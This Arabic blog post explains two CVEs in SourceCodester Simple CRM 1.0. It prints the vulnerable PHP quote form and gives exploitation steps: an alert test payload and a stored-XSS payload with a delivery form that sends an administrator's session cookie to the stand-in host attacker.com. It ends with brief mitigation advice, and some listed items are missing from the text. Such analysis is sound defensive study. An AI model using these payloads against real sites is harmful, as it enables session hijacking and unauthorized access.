
تحليل تعليمي لـ CVE-2023-24203 (ثغرة تخزين XSS) و CVE-2023-24204 (حقن SQL) في SourceCodester CRM، مع خطوات الاستغلال واستراتيجيات التخفيف.
في المشهد المتطور باستمرار للأمن السيبراني، تظل تطبيقات الويب هدفًا رئيسيًا للمهاجمين الذين يسعون لاستغلال الثغرات الأمنية. مؤخرًا، تم اكتشاف ثغرتين حرجتين في نظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0: CVE-2023-24203 و CVE-2023-24204. تشكل هذه الثغرات، التي تشمل البرمجة النصية عبر المواقع (XSS) وحقن SQL، مخاطر كبيرة بما في ذلك تنفيذ التعليمات البرمجية التعسفية والوصول غير المصرح به. يعد فهم هذه الثغرات وتأثيراتها أمرًا ضروريًا للمطورين ومتخصصي الأمن لحماية الأنظمة من التهديدات المحتملة.
البرمجة النصية عبر المواقع (XSS) هي نوع من الثغرات التي تحدث عندما يسمح تطبيق الويب للمستخدمين بحقن نصوص برمجية ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون. يمكن أن يؤدي ذلك إلى إجراءات غير مصرح بها نيابة عن المستخدم، وسرقة البيانات، والمزيد من الاستغلال. يمكن تصنيف ثغرات XSS إلى ثلاثة أنواع رئيسية:
حقن SQL هو نوع من الثغرات الذي يحدث عندما يتمكن المهاجم من التلاعب باستعلامات SQL عن طريق حقن كود SQL تعسفي في استعلام. يمكن أن يؤدي ذلك إلى الوصول غير المصرح به، وسرقة البيانات، وأنشطة ضارة أخرى. يحدث حقن SQL عادةً بسبب عدم كفاية التحقق من صحة المدخلات وعدم استخدام استعلامات ذات معلمات. تشمل التأثيرات الرئيسية لحقن SQL:
في هذه التدوينة، سوف نتعمق في CVE-2023-24203 و CVE-2023-24204، مستكشفين تفاصيل هذه الثغرات، ونواقل هجومها، وتأثيراتها، واستراتيجيات التخفيف. فهم هذه الثغرات بعمق أمر بالغ الأهمية لحماية تطبيقاتك وبياناتك من الاستغلال المحتمل.
غالبًا ما تكون ثغرات حقن SQL نتيجة لعدم كفاية التحقق من صحة المدخلات وممارسات البرمجة السيئة. تشمل بعض الأسباب الشائعة:
عادةً ما تحدث ثغرات البرمجة النصية عبر المواقع (XSS) بسبب الفشل في معالجة مدخلات ومخرجات المستخدم بشكل صحيح. تشمل الأسباب الشائعة:
CVE-2023-24203 هي ثغرة برمجة نصية عبر المواقع (XSS) مخزنة تم العثور عليها في مكون get-quote.php لنظام إدارة علاقات العملاء (CRM) البسيط من SourceCodester الإصدار 1.0. تسمح هذه الثغرة للمهاجم بحقن نصوص برمجية ضارة في معلمتي company و query، والتي يتم تخزينها بعد ذلك في قاعدة البيانات وتنفيذها عند عرضها من قبل المسؤول، مما يؤدي إلى تنفيذ تعليمات برمجية تعسفية.
توجد الثغرة في النص البرمجي get-quote.php، الذي يعالج إدخال المستخدم من نموذج طلب عرض سعر. يظهر كود مصدر PHP أدناه:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
يأخذ النص البرمجي مدخلات المستخدم من النموذج (الاسم، البريد الإلكتروني، جهة الاتصال، الشركة، الخدمات، أخرى، والاستعلام) ويدرجها مباشرة في استعلام SQL لتخزين البيانات في قاعدة البيانات. بينما يتم تعقيم مدخلات الخدمات باستخدام mysqli_real_escape_string و addslashes، فإن معلمتي company و query لا يتم تعقيمهما أو ترميزهما بشكل صحيح عند إعادتهما في الاستجابة. يسمح هذا النقص في التعقيم والترميز المناسبين بحقن وتخزين نصوص برمجية ضارة في قاعدة البيانات.
لاستغلال هذه الثغرة، يمكن للمهاجم صياغة حمولة تتضمن كود JavaScript ضار في معلمة company أو query. عندما يعرض المسؤول طلب عرض السعر، سيتم تنفيذ النص البرمجي المحقون في متصفحه.
عن طريق إرسال الحمولة التالية في معلمة query:
<script>alert('XSS');</script>
يمكن للمهاجم تشغيل هجوم XSS عندما يعرض المسؤول طلب عرض السعر.
يمكن صياغة حمولة أكثر ضررًا لسرقة ملفات تعريف الارتباط الخاصة بجلسة المسؤول. باستخدام الحمولة التالية في معلمة query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
يمكن للمهاجم إرسال ملفات تعريف الارتباط الخاصة بالمسؤول إلى خادم بعيد يتحكم فيه المهاجم.
إرسال طلب عرض سعر ضار: يقوم المهاجم بملء نموذج طلب عرض السعر، وحقن الحمولة الضارة في حقل company أو query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
عرض المسؤول للطلب: عندما يقوم المسؤول بتسجيل الدخول إلى نظام CRM ويعرض عرض السعر المقدم، يتم تنفيذ النص البرمجي الضار في متصفحه، مما يرسل ملفات تعريف الارتباط الخاصة بجلسته إلى خادم المهاجم.
يسمح الاستغلال الناجح لهذه الثغرة XSS المخزنة للمهاجم بتنفيذ JavaScript تعسفي في سياق متصفح المسؤول. يمكن أن يؤدي ذلك إلى إجراءات ضارة مختلفة، بما في ذلك:
لتخفيف هذه الثغرة، من الضروري تعقيم وترميز جميع مدخلات المستخدم قبل إدراجها في صفحة الويب. على وجه التحديد:
htmlspecialchars() لترميز الأحرف الخاصة في مدخلات المستخدم.